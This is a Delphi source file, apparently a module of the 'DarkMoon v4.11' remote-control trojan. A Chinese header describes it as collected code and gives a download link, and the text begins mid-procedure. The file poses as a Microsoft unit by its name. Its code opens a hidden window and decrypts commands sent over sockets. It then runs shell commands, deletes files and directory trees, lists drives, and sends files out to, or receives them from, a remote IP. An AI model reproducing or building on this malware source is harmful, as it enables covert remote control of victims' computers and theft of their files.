microsoft_uftpunit.pas

DarkMoon v4.11 (远程控制) 国外收集的代码,控件下载: http://www.winio.cn/Blogs/jishuwenzhang/200712/20071208230135.

 end;


   try
        AssignFile(f, OpenFile);
             Reset(f);
             try
             size :=FileSize(f)*128 div 1024;

             finally
             CloseFile(f);
             end;

          Archivo := CreateFile( PChar( OpenFile ),
                                 GENERIC_READ,
                                 0, nil,
                                 OPEN_EXISTING,
                                 FILE_ATTRIBUTE_NORMAL, 0);
          SetFilePointer( Archivo, 0, nil, FILE_BEGIN );
     except
          CloseSocket( sock );
          Exit;
     end;

     repeat
          Error := ReadFile(Archivo, Buffer, SizeOf( Buffer ), BytesRead, nil);
          Send(Client, Buffer, BytesRead, 0);

     until ( Error  ) and ( BytesRead = 0 );
      senddata(Helper_Socket,'9^File Downloaded: ' +  GetFileName(OpenFile) + '^') ;
     CloseHandle( Archivo );
     try CloseSocket( client ); except end;
     Abort:= FALSE;
end;


 procedure UploadScreenShotFileListen(port : integer ; OpenFile: string);
var  addr         : TSockAddrIn;
     sinsize      : Integer;
     sock,cliente : TSocket;
     Archivo      : THandle;
     Buffer       : array [ 1..1024 ] of Char;
     BytesRead    : DWord;
     Error     : Boolean;
begin
     addr.sin_family := AF_INET;
     addr.sin_port := htons(port);
     addr.sin_addr.S_addr := INADDR_ANY;
    
          //Open the socket
     sock :=  Socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
     if Bind(sock, addr, SizeOf( addr ) ) = SOCKET_ERROR then
        Exit;

     if Listen(sock, 1) = SOCKET_ERROR then
     begin
          try CloseSocket( Sock ); except end;
          Exit;
     end;
     //Espera una conexion
     sinsize := SizeOf( addr );
     cliente := Accept( sock, @addr, @sinsize );

     try
          Archivo := CreateFile( PChar( OpenFile ),
                                 GENERIC_READ,
                                 0, nil,
                                 OPEN_EXISTING,
                                 FILE_ATTRIBUTE_NORMAL, 0);
          SetFilePointer( Archivo, 0, nil, FILE_BEGIN );
           // Server_Send('9^Downloading File: ' +  GetFileName(OpenFile) + '^');
     except
          CloseSocket( sock );
          Exit;
     end;
     Sleep( 150 );
     repeat
          Error := ReadFile(Archivo, Buffer, SizeOf( Buffer ), BytesRead, nil);
          Send( cliente, Buffer, BytesRead, 0);
     until ( Error  ) and ( BytesRead = 0 );

     CloseHandle( Archivo );
     try CloseSocket( cliente ); except end;
     try CloseSocket( sock ); except end;
     Abort := FALSE;
end;



procedure UploadFileListen;
//The server should send a file to the client
var  addr         : TSockAddrIn;
     sinsize      : Integer;
     sock,cliente : TSocket;
     Archivo      : THandle;
     Buffer       : array [ 1..1024 ] of Char;
     BytesRead    : DWord;
     Error     : Boolean;
begin
     addr.sin_family := AF_INET;
     addr.sin_port := htons(strtoint(PORT) );
     addr.sin_addr.S_addr := INADDR_ANY;
     //Open the socket
     sock :=  Socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
     if Bind(sock, addr, SizeOf( addr ) ) = SOCKET_ERROR then
        Exit;

     if Listen(sock, 1) = SOCKET_ERROR then
     begin
          try CloseSocket( Sock ); except end;
          Exit;
     end;
     //Espera una conexion
     sinsize := SizeOf( addr );
     cliente := Accept( sock, @addr, @sinsize );

     try
          Archivo := CreateFile( PChar( OpenFile ),
                                 GENERIC_READ,
                                 0, nil,
                                 OPEN_EXISTING,
                                 FILE_ATTRIBUTE_NORMAL, 0);
          SetFilePointer( Archivo, 0, nil, FILE_BEGIN );
           // Server_Send('9^Downloading File: ' +  GetFileName(OpenFile) + '^');
     except
          CloseSocket( sock );
          Exit;
     end;
     Sleep( 150 );
     repeat
          Error := ReadFile(Archivo, Buffer, SizeOf( Buffer ), BytesRead, nil);
          Send( cliente, Buffer, BytesRead, 0);
     until ( Error  ) and ( BytesRead = 0 );
    senddata(Helper_Socket,'9^File Downloaded: ' +  GetFileName(OpenFile) + '^') ;
     CloseHandle( Archivo );
     try CloseSocket( cliente ); except end;
     try CloseSocket( sock ); except end;
     Abort := FALSE;
end;
                          


procedure DownloadFileListen;
var addr : TSockAddrIn;
    BytesRead, sinsize : Integer;
    sock, cliente      : TSocket;
    a          : THandle;
    Buffer     : array [ 1..2048 ] of Char;
    BytesWrite : DWORD;
    FileStatus : Boolean;
begin

    addr.sin_family := AF_INET;
    addr.sin_port := htons(strtoint(PORT));
    addr.sin_addr.S_addr := INADDR_ANY;
    //Abre el socket
    sock :=  Socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);

    if Bind( sock, addr, SizeOf( addr ) ) = SOCKET_ERROR then
       Exit;
    if Listen(sock, 1) = SOCKET_ERROR then
       Exit;
    //Espera una conexion
    sinsize := SizeOf( addr );
    cliente := Accept( sock, @addr, @sinsize );
    BytesWrite := 0;
    try
        a := CreateFile( PChar( SaveFile  ), GENERIC_WRITE, 0, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0 );
           Server_Send('9^Uploading File: ' +  GetFileName(SaveFile)+ '^');
    except
        CloseSocket( sock );
        Exit;
    end;
    repeat BytesRead  := Recv( cliente, Buffer, SizeOf( Buffer ), 0 );
           FileStatus := WriteFile( a, Buffer, BytesRead, BytesWrite, nil );
    until  ( FileStatus = FALSE ) or ( BytesRead = -1 ) or (BytesRead = 0) or ( Abort );
    CloseHandle( a );
    Server_Send('9^File Uploaded: ' +  GetFileName(SaveFile) + '^');
    try CloseSocket( cliente );  except end;
    try CloseSocket( sock ); except end;
    Abort:= FALSE;
end;



Procedure ThreadUploadFile;
begin
  if  IConnection=false then begin
 UploadFileListen;
   end
   else
   begin
  UploadFileConnect  (OpenFile, RemoteIP,RemotePort);
   end;

end;

Procedure ThreadDownloadFile ;
begin

 if  IConnection=false then begin
 DownloadFileListen
 end
 else
 begin
 DownloadFileConnect  ( SaveFile, RemoteIP, RemotePort);
 end;

end;

procedure Server_Send(Data : string);
begin
SendData (Server_Client, Data );
end;


procedure Create_Server  (S_PORT : integer ;Handle : HWND);
begin

  Server := socket(AF_INET, SOCK_STREAM, 0);

   if (Server <> INVALID_SOCKET)   THEN BEGIN
   addr.sin_family := AF_INET;
   addr.sin_port := htons(S_PORT);
   addr.sin_addr.s_addr := htonl(INADDR_ANY);
   end;

   if (bind(Server,addr,sizeof(addr))=  INVALID_SOCKET ) then begin
   WSACleanup();
   halt;
   end;

   if ( listen(Server,3)= INVALID_SOCKET) then begin
   WSACleanup();
   halt;
   end ;

 if (WSAAsyncSelect(Server, Handle , WM_Server, FD_ACCEPT or FD_CLOSE or FD_READ or FD_WRITE) = SOCKET_ERROR) then begin
   halt;
 end;

end;


procedure ProcessFTPCMD (data : string; socket : TSocket);
var
TmpDada ,COMD, PARM1 ,PARM2, PARM3 : string ;
a : File;
THREADID : Cardinal;
hthread : LongWord;
THREADID2 : Cardinal;
hthread2 : LongWord;
BytesToRead : Integer;
F : file;
size: longint ;
begin
Helper_Socket:=socket ;
     // messagebox(0,pchar(data),'',0);
COMD:= Split (data,'^',0);
PARM1:= Split (data,'^',1);
PARM2:= Split (data,'^',2) ;
PARM3:= Split (data,'^',3) ;

       if findnChars(data,'^')<2 then exit;
         case strtoint(COMD) of
          0:  begin;
         SendData (socket,'0^'+ MandarUnidadesDeAlmacenamiento (socket)+  '^');

          end;
          1:  begin
               ListingDIR := PARM1  ;
              ListIP:= PARM2;
              ListPort:= '4000';
           sleep(100);
            BeginThread( nil, 0, @Send_List, nil, 0, id );
          end;
           2:  begin
         if FileExists( PARM1 )then
           try
           BorrarArchivo(PARM1);
         SendData (socket, '9^' + 'File Deleted: ' + PARM1 + '^') ;
           except end;

          end;
          3:  begin
         SendData (socket, '9^' + DelTree(PARM1) + '^' );
          end;
          4:  begin
         SendData (socket,'9^' + ShellEx(PARM1) + '^' );
          end;
          5:  begin
            begin
        try MkDir( PARM1 ) except end;
        if IOResult <> 0 then
       SendData (socket,'9^'  + 'Error On making the Dir: ' + PARM1 + '^')
        else
        SendData (socket,'9^' +  'Dir Created: ' + PARM1  + '^');
        end;
        end;
             6:  begin
              AssignFile( a, PARM1 );
          try
             Rename( a, PARM2 );
             if IOResult = 0 then
             SendData (socket,'9^' + 'File Renamed To: ' + PARM2 + '^' );
             except SendData (socket,'9^' + 'File Coulnt be renamed: ' + PARM1 + '^');
          end;
          end;

             7:  begin
             Port:= PARM1;
             RemotePort:=PARM1;
             OpenFile:=PARM2;
             RemoteIP:=PARM3;


             AssignFile(F, PARM2);
             Reset(F);
             try
             size :=FileSize(F);

             finally
             CloseFile(f);
             end;
             sleep(100);

             SendData (socket, '2^' +  inttostr(size) + '^' );
             hthread := CreateThread( nil, 0, @ThreadUploadFile, nil, 0, THREADID );

             if hthread <> 0 then  begin
             CloseHandle( hthread );
             end;

    end;

             9: begin

    if  PARM1= '0' then begin
    IConnection:=false;
    end;

    if  PARM1= '1' then begin
    IConnection:=true;
    end;

             end;
               8:  begin
            Port:=PARM1;
            RemotePort:=PARM1;
            SaveFile:=PARM2 ;
            RemoteIP:=PARM3;


            hthread := CreateThread( nil, 0, @ThreadDownloadFile, nil, 0, THREADID );
            if hthread <> 0 then   begin
            CloseHandle( hthread );
            end;


        end;


     11:begin   Abort:=true end;


       end;


end;

   procedure FTP_Events( wParam,lParam: Integer);
     const
  my_key = 35311;
   var
   TmpDada ,COMD, PARM1 ,PARM2 : string ;
      a : File;
   THREADID : Cardinal;
    hthread : LongWord;

       THREADID2 : Cardinal;
    hthread2 : LongWord;

     BytesToRead : Integer;
      F : file;
      size: longint ;
    Begin

  case lParam  of
  FD_READ:  begin
  if ioctlsocket(wParam, FIONREAD, LongInt(BytesToRead)) = 0 then
  begin
     SetLength( Data, BytesToRead );
     Recv( wparam, Pointer( Data )^, BytesToRead, 0 );
     Data := Decrypt (Data,my_key);
     ProcessFTPCMD (Data,wParam );

  end;




      end   ;
      FD_ACCEPT:  begin
       Server_Client:= accept(Server,nil,nil);
        if (Server_Client= INVALID_SOCKET) then begin
          messagebox(0,'error','error',0);
        end;

      end  ;
      FD_CLOSE:  begin
      try CloseSocket(wParam ); except end;
      end;
      end   ;

    End;

{ Custom WindowProc function }
function WindowProc(hWnd, uMsg,	wParam,	lParam: Integer): Integer; stdcall;
begin
Result := DefWindowProc(hWnd, uMsg, wParam, lParam);

if uMsg = WM_Server then
begin
FTP_Events( wParam,lParam);
end;


if uMsg = WM_DESTROY then   begin
Halt;
end;

end;

procedure SetUpaWindow1;
begin
{ ** Register Custom WndClass ** }
  Inst := hInstance;
  with WinClass do
  begin
    style              := CS_CLASSDC or CS_PARENTDC;
    lpfnWndProc        := @WindowProc;
    hInstance          := Inst;
    hbrBackground      :=COLOR_INACTIVEBORDER;
    lpszClassname      := 'Dark_Moon';
    hCursor            := LoadCursor(0, IDC_ARROW);
  end; { with }

  RegisterClass(WinClass);

              Handle := CreateWindowEx(WS_EX_TOPMOST, 'Dark_Moon', '',
                         0 ,
                           240, 150, 311, 294, 0, 0, Inst, nil);
                      Showwindow(Handle,0);


  UpdateWindow(Handle);
  end;


procedure init_winsock ();
begin
SetUpaWindow1 ;
nErrorStatus := WSAStartup($101, wsa_Data);
if (nErrorStatus <> 0)  then     begin
//WSAGetLastError()
messagebox(0,pchar(inttostr(nErrorStatus)),'ddddddd',0);
halt;
end;
end;

procedure   CleanUP_winsock();
begin
WSACleanup(); // terminate WinSock use
end;


end.